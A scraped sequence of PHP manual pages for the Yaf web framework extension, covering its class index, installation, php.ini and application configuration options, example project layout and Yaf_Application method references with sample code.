    • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
    • Yaf_Plugin_Abstract::routerStartup — RouterStartup hook
  • Yaf_Registry — The Yaf_Registry class
    • Yaf_Registry::__clone — The __clone purpose
    • Yaf_Registry::__construct — The __construct purpose
    • Yaf_Registry::del — The del purpose
    • Yaf_Registry::get — The get purpose
    • Yaf_Registry::has — The has purpose
    • Yaf_Registry::set — The set purpose
  • Yaf_Request_Abstract — The Yaf_Request_Abstract class
    • Yaf_Request_Abstract::getActionName — The getActionName purpose
    • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
    • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
    • Yaf_Request_Abstract::getEnv — The getEnv purpose
    • Yaf_Request_Abstract::getException — The getException purpose
    • Yaf_Request_Abstract::getLanguage — The getLanguage purpose
    • Yaf_Request_Abstract::getMethod — The getMethod purpose
    • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
    • Yaf_Request_Abstract::getParam — The getParam purpose
    • Yaf_Request_Abstract::getParams — The getParams purpose
    • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
    • Yaf_Request_Abstract::getServer — The getServer purpose
    • Yaf_Request_Abstract::isCli — The isCli purpose
    • Yaf_Request_Abstract::isDispatched — The isDispatched purpose
    • Yaf_Request_Abstract::isGet — The isGet purpose
    • Yaf_Request_Abstract::isHead — The isHead purpose
    • Yaf_Request_Abstract::isOptions — The isOptions purpose
    • Yaf_Request_Abstract::isPost — The isPost purpose
    • Yaf_Request_Abstract::isPut — The isPut purpose
    • Yaf_Request_Abstract::isRouted — The isRouted purpose
    • Yaf_Request_Abstract::isXmlHttpRequest — The isXmlHttpRequest purpose
    • Yaf_Request_Abstract::setActionName — The setActionName purpose
    • Yaf_Request_Abstract::setBaseUri — The setBaseUri purpose
    • Yaf_Request_Abstract::setControllerName — The setControllerName purpose
    • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
    • Yaf_Request_Abstract::setModuleName — The setModuleName purpose
    • Yaf_Request_Abstract::setParam — The setParam purpose
    • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
    • Yaf_Request_Abstract::setRouted — The setRouted purpose
  • Yaf_Request_Http — The Yaf_Request_Http class
    • Yaf_Request_Http::__clone — The __clone purpose
    • Yaf_Request_Http::__construct — The __construct purpose
    • Yaf_Request_Http::get — The get purpose
    • Yaf_Request_Http::getCookie — The getCookie purpose
    • Yaf_Request_Http::getFiles — The getFiles purpose
    • Yaf_Request_Http::getPost — The getPost purpose
    • Yaf_Request_Http::getQuery — fetch a query parameter
    • Yaf_Request_Http::getRequest — The getRequest purpose
    • Yaf_Request_Http::isXmlHttpRequest — The isXmlHttpRequest purpose
  • Yaf_Request_Simple — The Yaf_Request_Simple class
    • Yaf_Request_Simple::__clone — The __clone purpose
    • Yaf_Request_Simple::__construct — The __construct purpose
    • Yaf_Request_Simple::get — The get purpose
    • Yaf_Request_Simple::getCookie — The getCookie purpose
    • Yaf_Request_Simple::getFiles — The getFiles purpose
    • Yaf_Request_Simple::getPost — The getPost purpose
    • Yaf_Request_Simple::getQuery — The getQuery purpose
    • Yaf_Request_Simple::getRequest — The getRequest purpose
    • Yaf_Request_Simple::isXmlHttpRequest — The isXmlHttpRequest purpose
  • Yaf_Response_Abstract — The Yaf_Response_Abstract class
    • Yaf_Response_Abstract::appendBody — The appendBody purpose
    • Yaf_Response_Abstract::clearBody — The clearBody purpose
    • Yaf_Response_Abstract::clearHeaders — The clearHeaders purpose
    • Yaf_Response_Abstract::__clone — The __clone purpose
    • Yaf_Response_Abstract::__construct — The __construct purpose
    • Yaf_Response_Abstract::__destruct — The __destruct purpose
    • Yaf_Response_Abstract::getBody — The getBody purpose
    • Yaf_Response_Abstract::getHeader — The getHeader purpose
    • Yaf_Response_Abstract::prependBody — The prependBody purpose
    • Yaf_Response_Abstract::response — The response purpose
    • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
    • Yaf_Response_Abstract::setBody — The setBody purpose
    • Yaf_Response_Abstract::setHeader — The setHeader purpose
    • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
    • Yaf_Response_Abstract::__toString — The __toString purpose
  • Yaf_Route_Interface — The Yaf_Route_Interface class
    • Yaf_Route_Interface::route — route a request
  • Yaf_Route_Map — The Yaf_Route_Map class
    • Yaf_Route_Map::__construct — The __construct purpose
    • Yaf_Route_Map::route — The route purpose
  • Yaf_Route_Regex — The Yaf_Route_Regex class
    • Yaf_Route_Regex::__construct — The __construct purpose
    • Yaf_Route_Regex::route — The route purpose
  • Yaf_Route_Rewrite — The Yaf_Route_Rewrite class
    • Yaf_Route_Rewrite::__construct — The __construct purpose
    • Yaf_Route_Rewrite::route — The route purpose
  • Yaf_Router — The Yaf_Router class
    • Yaf_Router::addConfig — Add config-defined routes into Router
    • Yaf_Router::addRoute — Add new Route into Router
    • Yaf_Router::__construct — Yaf_Router constructor
    • Yaf_Router::getCurrentRoute — Get the effective route name
    • Yaf_Router::getRoute — The getRoute purpose
    • Yaf_Router::getRoutes — The getRoutes purpose
    • Yaf_Router::route — The route purpose
  • Yaf_Route_Simple — The Yaf_Route_Simple class
    • Yaf_Route_Simple::__construct — Yaf_Route_Simple constructor
    • Yaf_Route_Simple::route — Route a request
  • Yaf_Route_Static — The Yaf_Route_Static class
    • Yaf_Route_Static::match — The match purpose
    • Yaf_Route_Static::route — Route a request
  • Yaf_Route_Supervar — The Yaf_Route_Supervar class
    • Yaf_Route_Supervar::__construct — The __construct purpose
    • Yaf_Route_Supervar::route — The route purpose
  • Yaf_Session — The Yaf_Session class
    • Yaf_Session::__clone — The __clone purpose
    • Yaf_Session::__construct — The __construct purpose
    • Yaf_Session::count — The count purpose
    • Yaf_Session::current — The current purpose
    • Yaf_Session::del — The del purpose
    • Yaf_Session::__get — The __get purpose
    • Yaf_Session::getInstance — The getInstance purpose
    • Yaf_Session::has — The has purpose
    • Yaf_Session::__isset — The __isset purpose
    • Yaf_Session::key — The key purpose
    • Yaf_Session::next — The next purpose
    • Yaf_Session::offsetExists — The offsetExists purpose
    • Yaf_Session::offsetGet — The offsetGet purpose
    • Yaf_Session::offsetSet — The offsetSet purpose
    • Yaf_Session::offsetUnset — The offsetUnset purpose
    • Yaf_Session::rewind — The rewind purpose
    • Yaf_Session::__set — The __set purpose
    • Yaf_Session::__sleep — The __sleep purpose
    • Yaf_Session::start — The start purpose
    • Yaf_Session::__unset — The __unset purpose
    • Yaf_Session::valid — The valid purpose
    • Yaf_Session::__wakeup — The __wakeup purpose
  • Yaf_Exception — The Yaf_Exception class
    • Yaf_Exception::__construct — The __construct purpose
    • Yaf_Exception::getPrevious — The getPrevious purpose
  • Yaf_Exception_TypeError — The Yaf_Exception_TypeError class
  • Yaf_Exception_StartupError — The Yaf_Exception_StartupError class
  • Yaf_Exception_DispatchFailed — The Yaf_Exception_DispatchFailed class
  • Yaf_Exception_RouterFailed — The Yaf_Exception_RouterFailed class
  • Yaf_Exception_LoadFailed — The Yaf_Exception_LoadFailed class
  • Yaf_Exception_LoadFailed_Module — The Yaf_Exception_LoadFailed_Module class
  • Yaf_Exception_LoadFailed_Controller — The Yaf_Exception_LoadFailed_Controller class
  • Yaf_Exception_LoadFailed_Action — The Yaf_Exception_LoadFailed_Action class
  • Yaf_Exception_LoadFailed_View — The Yaf_Exception_LoadFailed_View class

User Contributed Notes

There are no user contributed notes for this page.
yaml_parse
Introduction
Other Basic Extensions


Introduction

The Yet Another Framework(Yaf) extension is a PHP framework, used for developing web application, It provides OO interfaces to PHPer for developing web application.

Yaf require PHP version greater than 5.2.1, and could not run with early version of PHP.

A simple Yaf benchmark can be found at » Yaf Performance.

User Contributed Notes

There are no user contributed notes for this page.
Yaf
Installing/Configuring
Yaf


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Yaf


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/yaf.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Yaf Configure Options
Name | Default | Changeable | Changelog
yaf.library |  | its PHP_INI_ALL value |
yaf.action_prefer | 0 | its PHP_INI_ALL value |
yaf.lowcase_path | 0 | its PHP_INI_ALL value |
yaf.use_spl_autoload | 0 | its PHP_INI_ALL value |
yaf.forward_limit | 5 | its PHP_INI_ALL value |
yaf.name_suffix | 1 | its PHP_INI_ALL value |
yaf.name_separator |  | its PHP_INI_ALL value |
yaf.cache_config | 0 | its PHP_INI_SYS value |
yaf.st_compatible | 0 | its PHP_INI_ALL value |
yaf.environ | product | its PHP_INI_ALL value |
yaf.use_namespace | 0 | its PHP_INI_ALL value |

Here's a short explanation of the configuration directives.

yaf.library string

The global library path, Yaf_loader will search global library in this directory.

yaf.action_prefer integer

If there is only one part in PATH_INFO, should it consider as a controller or action.

If this configure On, it will be considered as a Action name.

yaf.lowcase_path integer

Whether lowercase all the path during the class autoloading.

yaf.use_spl_autoload integer

When this value is On, if Yaf_Loader can not find a class, it will return FALSE, then give chance to other auto load function to be called.

When this value is Off(default), Yaf_Loader::autoload() will always return TRUE.

yaf.forward_limit integer

The max forward count, default is 5. that means you can have a max value of 5 in the forward stack.

This is a protection for prevent recursive Yaf_Controller_Abstract::forward().

yaf.name_suffix integer

When this On, Yaf_Loader will indetify a class by it's suffix to decide whether it is a MVC Class.

When this Off, Yaf_Loader will look at the prefix of the class name.

yaf.name_separator string

When this is not empty, Yaf_Loader will identify the class suffix and string value of this.

For example, when this value is "_", Yaf_Loader will take Index_Controller as a Controller Class, IndexController as a normal class.

yaf.cache_config integer

If this is On, and in the meantime you are using ini config file as the parameter of Yaf_Application(), the compiling result of the ini config file will be cached in the PHP process.

Note:

Yaf examine the mtime of the ini file, if it was changed since last compiling, Yaf will reload it.

Warning

Yaf use the ini file path as the cache entry key, so do use the absolute path in ini file path, otherwise there might be some conflicts if two application use the same relative path of ini config.

yaf.st_compatible integer

yaf.environ string

This value is "product" by default, used for Yaf to fetch the config section of a ini config file.

That is, if this value is "product", Yaf will use the section named "product" in the ini config file(the first parameter of the Yaf_Application) as the final config of the Yaf_Application.

yaf.use_namespace integer

Only works as of PHP 5.3, if this value is On, All class of Yaf will named in namespace style.

For example, Yaf_Route_Rewrite => \Yaf\Route\Rewrite, Yaf_Controller_Abstract => \Yaf\Controller_Abstract (Abstract is the keyword, can not used as a class name)

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

YAF_VERSION (string)
YAF_ENVIRON (string)
YAF_ERR_STARTUP_FAILED (integer)
YAF_ERR_ROUTE_FAILED (integer)
YAF_ERR_DISPATCH_FAILED (integer)
YAF_ERR_AUTOLOAD_FAILED (integer)
YAF_ERR_NOTFOUND_MODULE (integer)
YAF_ERR_NOTFOUND_CONTROLLER (integer)
YAF_ERR_NOTFOUND_ACTION (integer)
YAF_ERR_NOTFOUND_VIEW (integer)
YAF_ERR_CALL_FAILED (integer)
YAF_ERR_TYPE_ERROR (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Yaf


Examples

Example #1 A classic Application directory layout

- index.php
- .htaccess
+ conf
  |- application.ini //application config
- application/
  - Bootstrap.php
  + controllers
     - Index.php //default controller
  + views
     |+ index
        - index.phtml //view template for default action
  + modules
  - library
  - models
  - plugins

Example #2 Entry

index.php in the top directory is the only way in of the application, you should rewrite all request to it(you can use .htaccess in Apache+php_mod)

<?php
define("APPLICATION_PATH",  dirname(__FILE__));

$app  = new Yaf_Application(APPLICATION_PATH . "/conf/application.ini");
$app->bootstrap() //call bootstrap methods defined in Bootstrap.php
 ->run();
?>

Example #3 Rewrite rule

#for apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* index.php

#for nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

#for lighttpd
$HTTP["host"] =~ "(www.)?domain.com$" {
  url.rewrite = (
     "^/(.+)/?$"  => "/index.php/$1",
  )
}

Example #4 Application config

[yaf]
;APPLICATION_PATH is the constant defined in index.php
application.directory=APPLICATION_PATH "/application/"

;product section inherit from yaf section
[product:yaf]
foo=bar

Example #5 Default controller

<?php
class IndexController extends Yaf_Controller_Abstract {
   /* default action */
   public function indexAction() {
       $this->view->word = "hello world";
   }
}
?>
?>

Example #6 Default view template

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   <?php echo $word;?>
 </body>
</htlm>

Example #7 Run the Applicatioin

The above example will output something similar to:

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   hello world
 </body>
</htlm>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Application Configuration
Yaf


Application Configuration

You should give an array of config or an ini config file(see Yaf_Config_Ini) path to Yaf_Application::__construct().

Yaf configurations could be merged with user configurations. The difference is, Yaf configurations are prefixed with "yaf." or "application.", if there are both "yaf." and "application.", "application." will be accepcted preferentially.

Example #1 An array of yaf configuration example

<?php
    $configs = array(
            "application" => array(
                "directory" => dirname(__FILE__),
                "dispatcher" => array(
                      "catchException" => 0,
                    ),
                "view" => array(
                       "ext" => "phtml",
                    ),
                ),
           );
    $app = new Yaf_Application($config);
?>

Example #2 an ini file of yaf configuration example

[yaf]
yaf.directory = APPLICATION_PATH "/appliation"
yaf.dispatcher.catchException = 0

[product : yaf]
; user configuartions list here

Yaf Application Config
Name | Default | Changelog
application.directory |  |
application.ext | "php" |
application.view.ext | "phtml" |
application.modules | "index" |
application.library | application.directory . "/library" |
application.library.directory | application.directory . "/library" |
application.library.namespace | "" |
application.bootstrap | application.directory . "/Bootstrap" . application.ext |
application.baseUri | "" |
application.dispatcher.throwException | 1 |
application.dispatcher.catchException | 0 |
application.dispatcher.defaultModule | "index" |
application.dispatcher.defaultController | "index" |
application.dispatcher.defaultAction | "index" |

Here's a short explanation of the configuration directives.

application.directory string

The directory of the application, that is the folder which contains the "controllers", "views", "models", "plugins" folders.

Note:

This config entry is the only one which doesn't has a default value, which means you should always define it.

application.ext string

The file ext of the PHP script, used in class autoloading( Yaf_Loader).

application.view.ext string

The file ext of the view template script.

application.modules string

A commaseparated list of the registered modules, used in the route process, especially while there are more than three segments in the PATH_INFO,

Yaf need a way to find out whether the first segment is a module name or not.

application.library string

The local library directory, see Yaf_Loader and yaf.library.

Note:

As of Yaf 2.1.6, this config entry can also be a array, when it is array, then the library path will try to use the value of application.library.directory

application.library.directory string

Introduced in Yaf 2.1.6

application.library.namespace string

A comma separated prefix of local library namespace.

Introduced in Yaf 2.1.6

application.bootstrap string

A absolute path of the Bootstrap class script.

application.baseUri string

Used to remove a fixed prefix of request uri in route process. Take a example, comes a request with request uri "/prefix/controller/action". if you set application.baseUri to "/prefix", then only "/controller/action" will take as the PATH_INFO in route process.

In generally, you have no need to set this value.

application.dispatcher.throwException bool

If this is On, Yaf will throw exception while some error occurring. see also Yaf_Dispatcher::throwException().

application.dispatcher.catchException bool

If this is On, Yaf will forward to Error controller, Error Action while there is a uncaught exception. see also Yaf_Dispatcher::catchException().

application.dispatcher.defaultModule string

The default module name, see also Yaf_Dispatcher::setDefaultModule().

application.dispatcher.defaultController string

The default controller name, see also Yaf_Dispatcher::setDefaultController().

application.dispatcher.defaultAction string

The default action name, see also Yaf_Dispatcher::setDefaultAction().

User Contributed Notes

There are no user contributed notes for this page.
Examples
Yaf_Application
Yaf


The Yaf_Application class

(No version information available, might only be in SVN)

Introduction

Yaf_Application provides a bootstrapping facility for applications which provides reusable resources, common- and module-based bootstrap classes and dependency checking.

Note:

Yaf_Application implements the singleton pattern, and Yaf_Application can not be serialized or unserialized which will cause problem when you try to use PHPUnit to write some test case for Yaf.

You may use @backupGlobals annotation of PHPUnit to control the backup and restore operations for global variables. thus can solve this promblem.

Class synopsis

final Yaf_Application {
/* Properties */
protected $config ;
protected $dispatcher ;
protected static $_app ;
protected $_modules ;
protected $_running ;
protected $_environ ;
/* Methods */
public static void app ( void )
public void bootstrap ([ Yaf_Bootstrap_Abstract $bootstrap ] )
public Yaf_Application clearLastError ( void )
private void __clone ( void )
public __construct ( mixed $config [, string $envrion ] )
public void __destruct ( void )
public void environ ( void )
public void execute ( callback $entry , string $... )
public Yaf_Application getAppDirectory ( void )
public Yaf_Config_Abstract getConfig ( void )
public Yaf_Dispatcher getDispatcher ( void )
public string getLastErrorMsg ( void )
public int getLastErrorNo ( void )
public array getModules ( void )
public void run ( void )
public Yaf_Application setAppDirectory ( string $directory )
private void __sleep ( void )
private void __wakeup ( void )
}

Properties

config

dispatcher

_app

_modules

_running

_environ

Table of Contents

  • Yaf_Application::app — Retrive an Application instance
  • Yaf_Application::bootstrap — Call bootstrap
  • Yaf_Application::clearLastError — Clear the last error info
  • Yaf_Application::__clone — Yaf_Application can not be cloned
  • Yaf_Application::__construct — Yaf_Application constructor
  • Yaf_Application::__destruct — The __destruct purpose
  • Yaf_Application::environ — Retrive environ
  • Yaf_Application::execute — Execute a callback
  • Yaf_Application::getAppDirectory — Get the application directory
  • Yaf_Application::getConfig — Retrive the config instance
  • Yaf_Application::getDispatcher — Get Yaf_Dispatcher instance
  • Yaf_Application::getLastErrorMsg — Get message of the last occurred error
  • Yaf_Application::getLastErrorNo — Get code of last occurred error
  • Yaf_Application::getModules — Get defined module names
  • Yaf_Application::run — Start Yaf_Application
  • Yaf_Application::setAppDirectory — Change the application directory
  • Yaf_Application::__sleep — Yaf_Application can not be serialized
  • Yaf_Application::__wakeup — Yaf_Application can not be unserialized

User Contributed Notes

There are no user contributed notes for this page.
Application Configuration
Yaf_Application::app
Yaf


Retrive an Application instance

Yaf_Application
Yaf_Application::bootstrap
Yaf_Application
PHP Manual

Yaf_Application::app

(PECL yaf >=1.0.0)

Yaf_Application::app — Retrive an Application instance

Description

public static void Yaf_Application::app ( void )

Retrive the Yaf_Application instance, alternatively, we also could use Yaf_Dispatcher::getApplication().

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

an Yaf_Application instance, if no Yaf_Application initialized before, NULL will be returned.

See Also

  • Yaf_Dispatcher::getApplication() - Retrive the application

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application
Yaf_Application::bootstrap
Yaf_Application


Call bootstrap

Yaf_Application::app
Yaf_Application::clearLastError
Yaf_Application
PHP Manual

Yaf_Application::bootstrap

(PECL yaf >=1.0.0)

Yaf_Application::bootstrap — Call bootstrap

Description

public void Yaf_Application::bootstrap ([ Yaf_Bootstrap_Abstract $bootstrap ] )

Run a Bootstrap, all the methods defined in the Bootstrap and named with prefix "_init" will be called according to their declaration order, if the parameter bootstrap is not supplied, Yaf will look for a Bootstrap under application.directory.

Warning

This function is currently not documented; only its argument list is available.

Parameters

bootstrap

A Yaf_Bootstrap_Abstract instance

Return Values

Yaf_Application instance

Examples

Example #1 A Bootstrap()example

<?php
/**
 * This file should be under the APPLICATION_PATH . "/application/"(which was defined in the config passed to Yaf_Application).
 * and named Bootstrap.php,  so the Yaf_Application can find it
 */
class Bootstrap extends Yaf_Bootstrap_Abstract {
    function _initConfig(Yaf_Dispatcher $dispatcher) {
        echo "1st called\n";
    }

    function _initPlugin($dispatcher) {
        echo "2nd called\n";
    }
}
?>

Example #2 Yaf_Application::bootstrap()example

<?php

defined('APPLICATION_PATH')                  // APPLICATION_PATH will be used in the ini config file
    || define('APPLICATION_PATH', __DIR__)); //__DIR__ was introduced after PHP 5.3

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap();
?>

The above example will output something similar to:

1st called
2nd called

See Also

  • Yaf_Bootstrap_Abstract

User Contributed Notes

brandon at brandonlamb dot com 29-Dec-2011 08:50
Here is an example of a Bootstrap loading a session class then loading a database class and using a db configuration from the application config.

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract
{
    public function _initSession(Yaf_Dispatcher $dispatcher)
    {
        $session = new Vendor\Session();
        $session->start();
    }

    public function _initDatabase(Yaf_Dispatcher $dispatcher)
    {
        $config = Yaf_Application::app()->getConfig()->application->database;
        Yaf_Registry::set('db', Vendor\Database($config));
    }
}
?>
Yaf_Application::app
Yaf_Application::clearLastError
Yaf_Application


Clear the last error info

Yaf_Application::bootstrap
Yaf_Application::__clone
Yaf_Application
PHP Manual

Yaf_Application::clearLastError

(PECL yaf >=2.1.2)

Yaf_Application::clearLastError — Clear the last error info

Description

public Yaf_Application Yaf_Application::clearLastError ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::clearLastError()example

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   Yaf_Application::app()->clearLastError();
   var_dump(Yaf_Application::app()->getLastErrorNo());
}

$config = array(
 "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, //trigger error instead of throw exception when error occure
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

The above example will output something similar to:

int(0)

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::bootstrap
Yaf_Application::__clone
Yaf_Application


Yaf_Application can not be cloned

Yaf_Application::clearLastError
Yaf_Application::__construct
Yaf_Application
PHP Manual

Yaf_Application::__clone

(PECL yaf >=1.0.0)

Yaf_Application::__clone — Yaf_Application can not be cloned

Description

private void Yaf_Application::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::clearLastError
Yaf_Application::__construct
Yaf_Application


Yaf_Application constructor

Yaf_Application::__clone
Yaf_Application::__destruct
Yaf_Application
PHP Manual

Yaf_Application::__construct

(PECL yaf >=1.0.0)

Yaf_Application::__construct — Yaf_Application constructor

Description

public Yaf_Application::__construct ( mixed $config [, string $envrion ] )

Instance a Yaf_Application.

Warning

This function is currently not documented; only its argument list is available.

Parameters

config

A ini config file path, or a config array

If is a ini config file, there should be a section named as the one defined by yaf.environ, which is "product" by default.

Note:

If you use a ini configuration file as your applicatioin's config container. you would open the yaf.cache_config to improve performance.

And the config entry(and there default value) list blow:

Example #1 A ini config file example

[product]
;this one should alway be defined, and have no default value
application.directory=APPLICATION_PATH

;following configs have default value, you may no need to define them
application.library = APPLICATION_PATH . "/library"
application.dispatcher.throwException=1
application.dispatcher.catchException=1

application.baseUri=""

;the php script ext name
ap.ext=php

;the view template ext name
ap.view.ext=phtml

ap.dispatcher.defaultModuel=Index
ap.dispatcher.defaultController=Index
ap.dispatcher.defaultAction=index

;defined modules
ap.modules=Index

envrion

Which section will be loaded as the final config

Return Values

Examples

Example #2 Yaf_Application::__construct()example

<?php
defined('APPLICATION_PATH')                  // APPLICATION_PATH will be used in the ini config file
    || define('APPLICATION_PATH', __DIR__)); //__DIR__ was introduced after PHP 5.3

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap()->run();
?>

The above example will output something similar to:

Example #3 Yaf_Application::__construct()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->bootstrap()->run();
?>

The above example will output
something similar to:

See Also

  • Yaf_Config_Ini
    •

User Contributed Notes

There are no user contributed notes for this page.

Yaf_Application::__clone

Yaf_Application::__destruct

Yaf_Application


The __destruct purpose

Yaf_Application::__construct
Yaf_Application::environ
Yaf_Application
PHP Manual

Yaf_Application::__destruct

(PECL yaf >=1.0.0)

Yaf_Application::__destruct — The __destruct purpose

Description

public void Yaf_Application::__destruct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::__construct
Yaf_Application::environ
Yaf_Application


Retrive environ

Yaf_Application::__destruct
Yaf_Application::execute
Yaf_Application
PHP Manual

Yaf_Application::environ

(PECL yaf >=1.0.0)

Yaf_Application::environ — Retrive environ

Description

public void Yaf_Application::environ ( void )

Retrive environ which was defined in yaf.environ which has a default value "product".

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::environ()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->environ());
?>

The above example will output something similar to:

product

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::__destruct
Yaf_Application::execute
Yaf_Application


Execute a callback

Yaf_Application::environ
Yaf_Application::getAppDirectory
Yaf_Application
PHP Manual

Yaf_Application::execute

(PECL yaf >=1.0.0)

Yaf_Application::execute — Execute a callback

Description

public void Yaf_Application::execute ( callback $entry , string $... )

This method is typically used to run Yaf_Application in a crontab work. Make the crontab work can also use the autoloader and Bootstrap mechanism.

Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

...

Return Values

Examples

Example #1 Yaf_Application::execute()example

<?php
function main($argc, $argv) {
}

$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->execute("main", $argc,  $argv);
?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.

Yaf_Application::environ

Yaf_Application::getAppDirectory

Yaf_Application


Get the application directory

Yaf_Application::execute
Yaf_Application::getConfig
Yaf_Application
PHP Manual

Yaf_Application::getAppDirectory

(PECL yaf >=2.1.4)

Yaf_Application::getAppDirectory — Get the application directory

Description

public Yaf_Application Yaf_Application::getAppDirectory ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::execute
Yaf_Application::getConfig
Yaf_Application


Retrive the config instance

Yaf_Application::getAppDirectory
Yaf_Application::getDispatcher
Yaf_Application
PHP Manual

Yaf_Application::getConfig

(PECL yaf >=1.0.0)

Yaf_Application::getConfig — Retrive the config instance

Description

public Yaf_Config_Abstract Yaf_Application::getConfig ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A Yaf_Config_Abstract instance

Examples

Example #1 Yaf_Application::getConfig()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getConfig());
?>

The above example will output something similar to:

Yaf_Config_Simple Object
(
    [_config:protected] => Array
        (
            [application] => Array
                (
                    [directory] => /home/laruence/local/www/htdocs/application
                )

        )

    [_readonly:protected] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::getAppDirectory
Yaf_Application::getDispatcher
Yaf_Application


Get Yaf_Dispatcher instance

Yaf_Application::getConfig
Yaf_Application::getLastErrorMsg
Yaf_Application
PHP Manual

Yaf_Application::getDispatcher

(PECL yaf >=1.0.0)

Yaf_Application::getDispatcher — Get Yaf_Dispatcher instance

Description

public Yaf_Dispatcher Yaf_Application::getDispatcher ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getDispatcher()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getDispatcher());
?>

The above example will output something similar to:

Yaf_Dispatcher Object
(
    [_router:protected] => Yaf_Router Object
        (
            [_routes:protected] => Array
                (
                    [_default] => Yaf_Route_Static Object
                        (
                        )

                )

            [_current:protected] =>
        )

    [_view:protected] =>
    [_request:protected] => Yaf_Request_Http Object
        (
            [module] =>
            [controller] =>
            [action] =>
            [method] => Cli
            [params:protected] => Array
                (
                )

            [language:protected] =>
            [_exception:protected] =>
            [_base_uri:protected] =>
            [uri:protected] =>
            [dispatched:protected] =>
            [routed:protected] =>
        )

    [_plugins:protected] => Array
        (
        )

    [_auto_render:protected] => 1
    [_return_response:protected] =>
    [_instantly_flush:protected] =>
    [_default_module:protected] => Index
    [_default_controller:protected] => Index
    [_default_action:protected] => index
    [_response] => Yaf_Response_Cli Object
        (
            [_header:protected] => Array
                (
                )

            [_body:protected] =>
            [_sendheader:protected] =>
        )

)

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::getConfig
Yaf_Application::getLastErrorMsg
Yaf_Application


Get message of the last occurred error

Yaf_Application::getDispatcher
Yaf_Application::getLastErrorNo
Yaf_Application
PHP Manual

Yaf_Application::getLastErrorMsg

(PECL yaf >=2.1.2)

Yaf_Application::getLastErrorMsg — Get message of the last occurred error

Description

public string Yaf_Application::getLastErrorMsg ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getLastErrorMsg()example

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   var_dump(Yaf_Application::app()->getLastErrorMsg());
}

$config = array(
 "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, //trigger error instead of throw exception when error occure
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

The above example will output something similar to:

